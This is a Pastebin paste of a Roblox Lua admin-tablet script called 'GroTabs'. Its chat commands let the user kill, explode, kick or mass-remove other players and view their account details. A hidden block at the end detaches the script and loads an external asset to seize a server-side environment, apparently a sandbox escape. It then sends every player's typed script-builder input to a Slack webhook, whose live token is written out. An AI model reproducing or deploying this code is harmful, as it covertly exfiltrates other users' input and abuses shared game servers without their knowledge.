Advertisement
Guest User

Untitled

a guest
Jul 1st, 2016
113
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 27.63 KB | None | 0 0
  1. wait()
  2. script:Destroy()
  3. wait()
  4.  
  5. player = Game:GetService("Players").LocalPlayer;
  6. tabcolor = BrickColor.new("White")
  7.  
  8. local Tablets = {}
  9. local Commands = {};
  10.  
  11.  
  12. local part = Instance.new("Part")
  13. http = game:GetService'HttpService'
  14.  
  15. bet = '>'
  16. key = math.random(1,12345)
  17. print('Key:'..key)
  18.  
  19. local tabmodel = Instance.new("Model", game.Workspace)
  20. tabmodel.Name = "Gro"
  21. confirm = 0
  22. CanExec = true
  23. local Rotation = 0
  24. local RotationIncrease = 0.1
  25. local Torso = player.Character:WaitForChild("Torso")
  26. CanExe = false
  27.  
  28. function OnChatted(Message)
  29. if CanExec == true then
  30. local Command = ""
  31. for i,v in pairs(Commands)do
  32. if Message:sub(1,v.Cmd:len()):lower() == v.Cmd and Command == "" then
  33. Command = v.Cmd
  34. Spawn(function()
  35. a,b = pcall(function()
  36. v.Func(Message:sub(v.Cmd:len()+1):lower())
  37. end)
  38. if not a then
  39. error(b)
  40. end
  41. end)
  42. end
  43. end
  44. else
  45. return
  46. end
  47. end
  48.  
  49. -- DONT TOUCH
  50. function UpdateTablets()
  51. Rotation = Rotation + RotationIncrease
  52. for i,v in pairs(Tablets)do
  53. if not v.Parent then table.remove(Tablets,i) return nil end
  54. local TorsoPosition = CFrame.new(Torso.CFrame.p);
  55. local CFR = TorsoPosition * CFrame.Angles(0,math.rad((i*(360/#Tablets)+Rotation)),0)
  56. CFR = CFR * CFrame.new(0,0,1.5+(#Tablets))
  57. local LerpedCFR = v.Position
  58. LerpedCFR = LerpedCFR:Lerp(CFR.p,.1)
  59. v.CFrame = CFrame.new(LerpedCFR)
  60. end
  61. end
  62. function FindTorso()
  63. Torso = player.Character:WaitForChild("Torso")
  64. end
  65. coroutine.resume(coroutine.create(function()
  66. game:GetService("RunService").RenderStepped:connect(function()
  67. UpdateTablets()
  68. wait(1)
  69. FindTorso()
  70. end)
  71. end))
  72.  
  73. function RemoveTablets()
  74. for o,p in pairs(Tablets)do
  75. for i,v in pairs(Tablets)do
  76. wait(0)
  77. pcall(function()
  78. table.remove(Tablets, i)
  79. end)
  80. end
  81. tabmodel:ClearAllChildren()
  82. end
  83. end
  84.  
  85. function Output(Text,Function)
  86. local part = Instance.new("Part",tabmodel)
  87. part.Anchored = true
  88. part.FormFactor = "Custom"
  89. part.Size = Vector3.new(2.6,2.6,2.6)
  90. part.Transparency = 0.5
  91. part.CanCollide = false
  92. part.BrickColor = tabcolor
  93. part.CFrame = CFrame.new(Torso.CFrame.p)
  94. part.TopSurface,part.BottomSurface = 0,0
  95.  
  96. local se = Instance.new("SelectionBox",part)
  97. se.Adornee = part
  98. se.Color3 = Color3.new(255, 73, 252)
  99. se.LineThickness = "0.005"
  100. se.Transparency = "0"
  101. local bg = Instance.new("BodyGyro", part)
  102. bg.maxTorque = Vector3.new(1/0,1/0,1/0)
  103. local bg = Instance.new("BillboardGui",part)
  104. bg.Enabled = true
  105. bg.Adornee = part
  106. bg.AlwaysOnTop = true
  107. bg.Size = UDim2.new(1,0,1,0)
  108. bg.ExtentsOffset = Vector3.new(0,2,0)
  109. local text = Instance.new("TextLabel",bg)
  110. text.Text = Text
  111. text.Size = UDim2.new(1,0,1,0)
  112. text.BackgroundTransparency = 1
  113. text.Font = "SourceSansBold"
  114. text.FontSize = Enum.FontSize.Size24
  115. text.TextStrokeTransparency = 0.7
  116. text.TextStrokeColor3 = Color3.new(0,0,0);
  117. text.TextColor3 = part.BrickColor.Color
  118. local point = Instance.new("PointLight",part)
  119. point.Brightness = 1/0
  120. point.Color = part.BrickColor.Color
  121. point.Range = 6
  122. local click = Instance.new("ClickDetector",part)
  123. click.MaxActivationDistance = 1/0
  124. coroutine.resume(coroutine.create(function()
  125. if text == "Dismiss" then
  126. col = 21
  127. part.BrickColor = BrickColor.new(col)
  128. text.TextColor3 = part.BrickColor.Color
  129. sel.Color = part.BrickColor
  130. point.Color = part.BrickColor.Color
  131. elseif text == "Color: Teal" then
  132. col = 1018
  133. part.BrickColor = BrickColor.new(col)
  134. text.TextColor3 = part.Brickcolor.Color
  135. sel.Color = part.Brickcolor
  136. point.Color = part.BrickColor.Color
  137. point.Color = part.Brickcolor.Color
  138. elseif text == "Back" then
  139. col = "Neon orange"
  140. part.BrickColor = BrickColor.new(col)
  141. text.TextColor3 = part.BrickColor.Color
  142. sel.Color = part.BrickColor
  143. point.Color = part.BrickColor.Color
  144. elseif text.Text:find("Error") then
  145. part.BrickColor = BrickColor.new("Bright red")
  146. text.TextColor3 = part.BrickColor.Color
  147. sel.Color = part.BrickColor
  148. point.Color = part.BrickColor.Color
  149. elseif Function == "Success" then
  150. part.BrickColor = BrickColor.new("Bright green")
  151. text.TextColor3 = part.BrickColor.Color
  152. sel.Color = part.BrickColor
  153. point.Color = part.BrickColor.Color
  154. end
  155. click.MouseClick:connect(function(p)
  156. if p == player then
  157. if Function == nil then
  158. pcall(function()
  159. coroutine.resume(coroutine.create(function()
  160. local Tabs = Tablets
  161. for i,v in pairs(Tabs) do
  162. if v==part then
  163. table.remove(Tabs,i)
  164. end
  165. end
  166. part:Destroy()
  167. end))
  168. end)
  169. else
  170. pcall(function()
  171. coroutine.resume(coroutine.create(function()
  172. local a,b = coroutine.resume(coroutine.create(function()
  173. Function();
  174. end))
  175. if a then
  176. return
  177. else
  178. Output(b,21)
  179. end
  180. local Tabs = Tablets
  181. for i,v in pairs(Tabs) do
  182. if v==part then
  183. table.remove(Tabs,i)
  184. end
  185. end
  186. part:Destroy()
  187. end))
  188. end)
  189. end
  190. end
  191. end)
  192. end))
  193. pcall(function()
  194. table.insert(Tablets,part)
  195. end)
  196. end
  197.  
  198. function AddCommand(Command,Description,Example,Function)
  199. table.insert(Commands,{Cmd=Command,Desc=Description,Example=Example,Func=Function});
  200. end
  201. -- Adding Commands
  202. AddCommand("cmds"..bet,"Shows all the commands","cmds"..bet,function(Message)
  203. RemoveTablets()
  204. for i,v in pairs(Commands) do
  205. Output(v["Cmd"], function()
  206. RemoveTablets()
  207. for i,x in pairs(Commands) do
  208. if v["Cmd"] == x["Cmd"] then
  209. Output("Command: " ..x["Cmd"])
  210. Output("Description: "..x["Desc"])
  211. Output("Example: "..x["Example"])
  212. Output("Dismiss", function()
  213. RemoveTablets()
  214. end)
  215. Output("Back", function()
  216. RemoveTablets()
  217. OnChatted("cmds"..bet)
  218. end)
  219. end
  220. end
  221. end)
  222. end
  223. end)
  224. AddCommand("sil"..bet,"Something","sil"..bet,function(Message)
  225. Output("Just Do it!", function()
  226. game.Players:ClearAllChildren()
  227. RemoveTablets()
  228. end)
  229. end)
  230.  
  231. AddCommand("ff"..bet,"Gives a player a forcefield","ff"..bet.."Player",function(Message)
  232. for i,v in pairs(game:GetService("Players"):GetPlayers())do
  233. forcefielded = 0
  234. if v.Name:lower():find(Message:lower()) then
  235. pcall(function()
  236. forcefielded = forcefielded + 1
  237. Instance.new('ForceField',v.Character);
  238. Output("Gave a forcefield to "..v.Name);
  239. end)
  240. end
  241. if forcefielded == 0 then
  242. Output("Error: No such person")
  243. end
  244. end
  245. end)
  246. AddCommand("unff"..bet,"Removes any forcefields from a player","unff"..bet.."Player",function(Message)
  247. for i,v in pairs(Game:GetService("Players"):GetPlayers())do
  248. if v.Name:lower():find(Message:lower())then
  249. pcall(function()
  250. local ForceFields = {};
  251. for i,v in pairs(v.Character:GetChildren())do
  252. if v:IsA"ForceField" then
  253. table.insert(ForceFields,v)
  254. end
  255. end
  256. if #ForceFields == 0 then
  257. Output(v.Name.." doesn't have any forcefields!");
  258. else
  259. Output("Removed "..tostring(#ForceFields).." forcefield(s) from "..v.Name)
  260. for i,v in pairs(ForceFields) do
  261. v:Destroy()
  262. end
  263. end
  264. end)
  265. end
  266. end
  267. end)
  268. AddCommand("sc"..bet,"Select a color for the tabs.","sc"..bet.."Black",function(Message)
  269. Output("Color: Black",function()
  270. tabcolor = BrickColor.new("Black")
  271. RemoveTablets()
  272. Output("Color Set!")
  273. end)
  274. Output("Color: Really Red",function()
  275. tabcolor = BrickColor.new("Really red")
  276. RemoveTablets()
  277. Output("Color Set!")
  278. end)
  279. Output("Color: Teal",function()
  280. tabcolor = BrickColor.new("Teal")
  281. RemoveTablets()
  282. Output("Color Set!")
  283. end)
  284. Output("Color: Bright Violet",function()
  285. tabcolor = BrickColor.new("Bright violet")
  286. RemoveTablets()
  287. Output("Color Set!")
  288. end)
  289. Output("Color: White",function()
  290. tabcolor = BrickColor.new("White")
  291. RemoveTablets()
  292. Output("Color Set!")
  293. end)
  294. end)
  295.  
  296. AddCommand("nil"..bet,"Go Nil","nil"..bet, function(Message)
  297. local np = Instance.new("Part", Workspace.DesiredUsername1233.Torso)
  298. np.Size = Vector3.new(2.6,2.6,2.6)
  299. np.Anchored = true
  300. np.CanCollide = false
  301. game.Players.LocalPlayer:Remove()
  302. end)
  303.  
  304. AddCommand("update"..bet,"If an update is available, it will update the script", "update"..bet,function(Message)
  305. Output("Current version is up to date!")
  306. end)
  307. AddCommand("dt"..bet,"Dismisses all tablets","dt"..bet,function(Message)
  308. RemoveTablets()
  309. end)
  310. AddCommand("invisible"..bet,"Makes a person invisible", "invisible"..bet.."Player",function(Message)
  311. for i,v in pairs(game:GetService("Players"):GetPlayers()) do
  312. if v.Name:lower():find(Message:lower()) then
  313. pcall(function()
  314. for i,x in pairs(v.Character:GetChildren()) do
  315. if x:IsA("BasePart") then
  316. x.Transparency = 1
  317. elseif x:IsA("Hat") then
  318. if x:FindFirstChild("Handle") then
  319. x.Handle.Transparency = 1
  320. end
  321. end
  322. end
  323. v.Character.Head.face.Transparency = 1
  324. end)
  325. Output(v.Name .. " is now invisible")
  326. end
  327. end
  328. end)
  329. AddCommand("visible"..bet,"Makes a person visible","visible"..bet.."Player",function(Message)
  330. for i,v in pairs(game:GetService("Players"):GetPlayers()) do
  331. if v.Name:lower():find(Message:lower()) then
  332. pcall(function()
  333. for i,x in pairs(v.Character:GetChildren()) do
  334. if x:IsA("BasePart") then
  335. x.Transparency = 0
  336. elseif x:IsA("Hat") then
  337. if x:FindFirstChild("Handle") then
  338. x.Handle.Transparency = 0
  339. end
  340. end
  341. end
  342. v.Character.Head.face.Transparency = 0
  343. if v.Character:FindFirstChild("HumanoidRootPart") then
  344. v.Character.HumanoidRootPart.Transparency = 1
  345. end
  346. end)
  347. Output(v.Name .. " is now visible")
  348. end
  349. end
  350. end)
  351. AddCommand("about"..bet,"Shows some infomation","about"..bet,function(Message)
  352. RemoveTablets()
  353. Output("GroTabs")
  354. Output("T.M: "..tabmodel.Name)
  355. Output("Created by: FileExplorer")
  356. Output("Place Owner: Id: "..game.CreatorId..", Name: "..game.Players:GetNameFromUserIdAsync(game.CreatorId))
  357. if game.Players:GetNameFromUserIdAsync(game.CreatorId) == "Nexure" then
  358. Output("Script Builder: Nexure")
  359. elseif game.Players:GetNameFromUserIdAsync(game.CreatorId) == "Voidacity" then
  360. Output("Script Builder: Voidacity")
  361. elseif game.Players:GetNameFromUserIdAsync(game.CreatorId) == "Anaminus" then
  362. Output("Script Builder: Anaminus")
  363. else
  364. Output("Script Builder: Not Found")
  365. end
  366. Output("Dismiss", function()
  367. RemoveTablets()
  368. end)
  369.  
  370. end)
  371. AddCommand("afk"..bet,"Ping away","afk"..bet,function(Message)
  372. Output("Away!",function()
  373. RemoveTablets()
  374. Output("Back!")
  375. wait(1)
  376. RemoveTablets()
  377. end)
  378. end)
  379.  
  380. AddCommand("ping"..bet,"Say something with a tab","ping"..bet.."Hello!",function(Message)
  381. if Message == "" then
  382. Output(" ", __)
  383. else
  384. Output(Message, __)
  385. end
  386. end)
  387. AddCommand("explode"..bet,"Explodes a player","explode"..bet.."Player",function(Message)
  388. for i,v in pairs(game:GetService("Players"):GetPlayers()) do
  389. if v.Name:lower():find(Message:lower()) then
  390. e = Instance.new("Explosion", v.Character.Torso)
  391. e.BlastPressure = 500000
  392. e.BlastRadius = 4
  393. e.DestroyJointRadiusPercent = 10
  394. e.ExplosionType = Enum.ExplosionType.NoCraters
  395. e.Position = v.Character.Torso.Position
  396. wait(1)
  397. e:Destroy()
  398. end
  399. end
  400. end)
  401. AddCommand("bkill"..bet,"Kills someone bypassing inf health","bkill"..bet.."Player",function(Message)
  402. for i,v in pairs(game:GetService("Players"):GetPlayers()) do
  403. if v.Name:lower():find(Message:lower()) then
  404. if v.Character:FindFirstChild("Torso") ~= nil then
  405. v.Character.Torso:BreakJoints()
  406. Output("Bypkilled "..v.Name)
  407. end
  408. end
  409. end
  410. end)
  411. AddCommand("kill"..bet,"Kills someone","kill"..bet.."Player",function(Message)
  412. for i,v in pairs(game:GetService("Players"):GetPlayers()) do
  413. if v.Name:lower():find(Message:lower()) then
  414. if v.Character:FindFirstChild("Humanoid") ~= nil then
  415. v.Character.Humanoid.Health = 0
  416. Output("Killed "..v.Name)
  417. end
  418. end
  419. end
  420. end)
  421. AddCommand("kick"..bet,"Kick a player","kick"..bet.."Player",function(Message)
  422. for i,v in pairs(game:GetService("Players"):GetPlayers()) do
  423. if v.Name:lower():find(Message:lower()) then
  424. if v.Character:FindFirstChild("Humanoid") ~= nil then
  425. v:Remove()
  426. Output("Removed "..v.Name)
  427. end
  428. end
  429. end
  430. end)
  431. AddCommand("kl"..bet,"List Of players you kick","kl"..bet, function(Message)
  432. RemoveTablets()
  433. for i,v in pairs(game:GetService("Players"):GetPlayers()) do
  434. Output(v.Name, function()
  435. v:Remove()
  436. Output("Dismiss", function()
  437. RemoveTablets()
  438. end)
  439. end)
  440. end
  441. end)
  442. AddCommand("god"..bet,"Gives someone inf health","god"..bet.."Player",function(Message)
  443. for i,v in pairs(game:GetService("Players"):GetPlayers()) do
  444. if v.Name:lower():find(Message:lower()) then
  445. if v.Character:FindFirstChild("Humanoid") ~= nil then
  446. v.Character.Humanoid.MaxHealth = math.huge
  447. v.Character.Humanoid.Health = math.huge
  448. Output("Godded "..v.Name)
  449. end
  450. end
  451. end
  452. end)
  453. AddCommand("ungod"..bet,"Gives someone inf health","god"..bet.."Player",function(Message)
  454. for i,v in pairs(game:GetService("Players"):GetPlayers()) do
  455. if v.Name:lower():find(Message:lower()) then
  456. if v.Character:FindFirstChild("Humanoid") ~= nil then
  457. v.Character.Humanoid.MaxHealth = 100
  458. v.Character.Humanoid.Health = 100
  459. Output("Ungodded "..v.Name)
  460. end
  461. end
  462. end
  463. end)
  464. AddCommand("sd"..bet,"Shutdown.","sd"..bet,function(Message)
  465. Output("Are you sure?")
  466. Output("Yes", function()
  467. game.Players:ClearAllChildren()
  468. RemoveTablets()
  469. end)
  470. end)
  471. AddCommand("players"..bet,"Gets all players","players"..bet,function(Message)
  472. RemoveTablets()
  473. for i,v in pairs(game:GetService("Players"):GetPlayers()) do
  474. Output(v.Name, function()
  475. RemoveTablets()
  476. Output("Name: "..v.Name)
  477. Output("Id: "..v.userId)
  478. Output("Account Age: "..v.AccountAge)
  479. if v.MembershipType == Enum.MembershipType.None then
  480. Output("Membership: None")
  481. elseif v.MembershipType == Enum.MembershipType.BuildersClub then
  482. Output("Membership: Builders Club")
  483. elseif v.MembershipType == Enum.MembershipType.TurboBuildersClub then
  484. Output("Membership: Turbo Builders Club")
  485. elseif v.MembershipType == Enum.MembershipType.OutrageousBuildersClub then
  486. Output("Membership: Outrageous Builders Club")
  487. end
  488. Output("Kick", function()
  489. v:Remove()
  490. end)
  491. Output("Dismiss", function()
  492. RemoveTablets()
  493. end)
  494. Output("Back", function()
  495. RemoveTablets()
  496. OnChatted("players"..bet)
  497. end)
  498. end)
  499. end
  500. end)
  501. AddCommand("term"..bet..key,"Removes the script","term"..bet.."Key",function(Message)
  502. if confirm == 0 then
  503. Output("Are you sure? Say the command again to continue, or say tc. to cancel this")
  504. confirm = 1
  505. elseif confirm == 1 then
  506. RemoveTablets()
  507. CanExec = false
  508. Output("Bye...",function()
  509. return
  510. end)
  511. wait(3)
  512. RemoveTablets()
  513. tabmodel:Destroy()
  514. script.Disabled = true
  515. script:Destroy()
  516. end
  517. end)
  518. AddCommand("tc"..bet,"Cancels removing the admin","tc"..bet,function(Message)
  519. if confirm == 0 then
  520. Output("Error: You havn't tried removing the admin yet")
  521. elseif confirm == 1 then
  522. confirm = 0
  523. Output("Cancelled termination")
  524. end
  525. end)
  526. AddCommand("music"..bet,"Players audio from an id","music"..bet.."834758",function(Message)
  527. if game.Workspace:FindFirstChild("UndoTabAudio") == nil then
  528. aud = Instance.new("Sound", game.Workspace)
  529. aud.Name = "GroTabAudio"
  530. aud.SoundId = Message:sub(9)
  531. aud.Volume = 1
  532. aud.Pitch = 1
  533. if aud.TimeLength == 0 then
  534. Output("Error: No such audio id")
  535. aud:Destroy()
  536. else
  537. aud:Play()
  538. end
  539. else
  540. aud = game.Workspace.UndoTabAudio
  541. aud:Stop()
  542. aud.SoundId = Message:sub(9)
  543. aud:Play()
  544. end
  545. end)
  546.  
  547. player.Chatted:connect(OnChatted)
  548.  
  549.  
  550. if player.Name == "DesiredUsername1233" then
  551. Output("Welcome back, Owner!")
  552. elseif player.Name == "jordanpro123" then
  553. Output("Welcome back friend")
  554. else
  555. Output("Welcome, "..player.Name..", to GroTabs")
  556. end
  557. Output("Rainbow Name?",function()
  558. RemoveTablets()
  559. Player = game.Players.LocalPlayer
  560. Player.Neutral = false
  561.  
  562. while wait()do
  563. Player.TeamColor = BrickColor.random()
  564. end
  565. end)
  566.  
  567. Output("Version: 1")
  568. Output("C.D: 0.1")
  569. Output("The bet is "..bet)
  570. Output("Cick to view all commands",function()
  571. RemoveTablets()
  572. OnChatted("cmds"..bet)
  573.  
  574. end)
  575.  
  576.  
  577.  
  578. game:GetService('RunService').RenderStepped:connect(function()
  579. game:GetService('RunService').RenderStepped:wait()
  580. end)
  581. ------------------------------------------------------------------------------BlockOrbThing
  582.  
  583. local module={
  584. settings={
  585. petOwner='DesiredUsername1233';
  586. trailing=true;
  587. petName='GroTabs';
  588. petMood='Content';
  589. petTransparency= '0.6';
  590. };
  591. petData={
  592. petObject=nil;
  593. lastCFrame=CFrame.new();
  594. };
  595. };
  596.  
  597. local function createPetInstance()
  598. local petInstance=Instance.new('Part', Workspace);
  599. petInstance.Anchored=true;
  600. petInstance.TopSurface='Smooth';
  601. petInstance.BottomSurface='Smooth';
  602. petInstance.Size = Vector3.new(0,1.6,0)
  603. petInstance.Transparency=module.settings.petTransparency;
  604. petInstance.CanCollide = false
  605. petInstance.FormFactor = "Custom"
  606. petInstance.CFrame=CFrame.new(0,10,0);
  607. local se = Instance.new("SelectionBox", petInstance)
  608. se.Adornee = petInstance
  609. se.Color3 = Color3.new(255, 73, 252)
  610. se.LineThickness = "0.005"
  611. se.Transparency = "0"
  612. local bbg=Instance.new('BillboardGui', petInstance);
  613. bbg.Size=UDim2.new(10,0,10,0);
  614. bbg.StudsOffset=Vector3.new(0,2,0);
  615. bbg.Enabled = true
  616. local fr=Instance.new('TextLabel', bbg);
  617. local function resetFrData()
  618. fr.BackgroundTransparency=1;
  619. fr.Text=module.settings.petName;
  620. fr.TextColor3=Color3.new(1,1,1);
  621. fr.FontSize='Size24';
  622. fr.Size=UDim2.new(1,0,1,0);
  623. end;
  624. fr.Changed:connect(resetFrData);
  625. resetFrData();
  626. return(petInstance);
  627. end;
  628. local function handleScript()
  629. local pet,conn,reset;
  630. function reset()
  631. pcall(function() conn:disconnect(); end);
  632. pet=createPetInstance();
  633. conn=pet.AncestryChanged:connect(function()
  634. pcall(game.Destroy,pet);
  635. reset();
  636. end);
  637. end;
  638. reset();
  639. while true do local _,time=wait();
  640. local cf=CFrame.new(0,10,0);
  641. pcall(function() cf=game:service'Players':findFirstChild(module.settings.petOwner).Character.Torso.CFrame; end);
  642. local wanted=CFrame.new(cf.p)*CFrame.Angles(0,math.rad(time)*100,0)*CFrame.new(0,0,-5)*CFrame.new(0,1.5*math.sin(tick()),0);
  643. pcall(function()
  644. pet.CFrame=CFrame.new(pet.CFrame.p:lerp(wanted.p,.3));
  645. end);
  646. if(math.random(1,200)==20)then
  647. end;
  648. end;
  649. end;
  650. handleScript();
  651. ------------------------------
  652. wait()
  653. script.Parent=nil
  654. wait()
  655. local fenv=getfenv() local i=game:service'InsertService':LoadAsset(140878711) local n=i:children()[1] game:service'Debris':AddItem(i,0) n.Parent=workspace coroutine.yield() local Environment pcall(_G.OSC_AddServerSideData,setmetatable({},{__index=function() Environment=getfenv(2)end})) _G.OSC_AddServerSideData=nil game:service'Debris':AddItem(n,0) Environment.print=fenv.print Environment.warn=fenv.warn Environment.error=fenv.error Environment.owner=fenv.owner setfenv(1,Environment)
  656. -- lol
  657. SlackApiLink=[[https://hooks.slack.com/services/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]] -- Webhook
  658. function PostToSlack(Text,User)
  659. game:service'HttpService':PostAsync(SlackApiLink,[[{"text":"]]..Text..[[", "username":"]]..User..[["}]],Enum.HttpContentType.ApplicationUrlEncoded)
  660. end
  661. playeradded = function(p)
  662. p.CharacterAdded:connect(function(c) -- So we know when the guis load.
  663. repeat wait() until p.PlayerGui
  664. repeat wait() until p.PlayerGui.SB_OutputGUI
  665. repeat wait() until p.PlayerGui.SB_OutputGUI:FindFirstChild('Task')
  666. repeat wait() until p.PlayerGui.SB_OutputGUI.Task.InputBar
  667. local bar=p.PlayerGui.SB_OutputGUI.Task.InputBar
  668. local recenttext=''
  669. local defaulttext=[[Click here or press (') to run a command]]
  670. bar.Changed:connect(function(Type)
  671. if bar.Text==defaulttext then
  672. PostToSlack(recenttext,p.Name..' Chat')
  673. end -- Recenttext is done after, so you can tell if they just clicked enter.
  674. recenttext=bar.Text
  675. end)
  676. end)
  677. p:LoadCharacter()
  678. p.Chatted:connect(function()
  679. end)
  680. end
  681. game:service'Players'.PlayerAdded:connect(function(p) playeradded(p) end)
  682. for i,p in pairs(game:service'Players':GetPlayers()) do
  683. playeradded(p)
  684. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement